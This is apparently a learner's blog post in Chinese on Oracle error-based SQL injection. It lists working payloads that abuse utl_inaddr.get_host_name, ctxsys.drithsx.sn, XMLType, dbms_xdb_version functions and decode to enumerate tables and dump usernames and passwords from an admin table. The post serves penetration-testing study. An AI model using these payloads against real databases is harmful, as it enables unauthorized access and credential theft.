大哥带我走渗透4(中)----oracle报错注入

5/30 报错注入

0x01 准备阶段

1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路。所以,还是要不停学习基础。并且及时总结。这有一篇很详细的文章:https://www.cnblogs.com/pshell/articles/7473713.html

2.现在有基本思路了。先找注入点,然后再确定有几个字段,再确定字段的位置。通过字段位置,查数据库名、表名、列名。

3.找注入点、确定字段数、判断回显位置。

然后发现有三个null,接下来,我们寻找三个null中,哪些才是真正有价值的。

第二个、第三个里面含有有价值的东西:

union select null,'null',null from dual--
union select null,null,'null' from dual--

 比如: 

OK了,我们的准备工作就做完了,接下来,进入真正的爆库环节~

0x02 报错函数注入

1.在查询有哪些数据库名字之前,容我装个逼。嘻嘻【但是我喜欢单步执行(就是一步一查询)】

我们来看看他的基础信息,嘻嘻。

看一下数据库版本:

union select null,(select banner from sys.v_$version where rownum=1),null from dual --

看不到了,不来了

2.报错函数注入

  • utl_inaddr.get_host_name()进行报错注入
and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1))

  • ctxsys.drithsx.sn()进行报错注入
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))

 

  • XMLType()进行报错注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) 
is not null --

 ????页面显示错误

  • dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not
null--

查询版本信息;

  • bms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) 
is not null --

  • dbms_xdb_version.uncheckout()进行报错注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) 
is not null --
  • dbms_utility.sqlid_to_sqlhash()进行报错注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) 
is not null -- 
  •  ordsys.ord_dicom.getmappingxpath()进行报错注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

这几个都实践了,但是没有太大的改变,,要么是注入的输入错误了,要么就是报错的地方我认不到。。。

  •  decode进行报错注入

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual)--

 

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

0x02 报错函数注入数据

 1.这里其实才是我刚开始想做的。

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

 爆库【通过他的报错,一直回显】

  • 爆出第一个表SYS
and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where 
rownum=1) from dual))--

 

  • 爆出第二个表,构造语句
    and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

  • 继续爆表

 

  • 爆admin
and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

 

原文地址:https://www.cnblogs.com/TEAM0N/p/10952351.html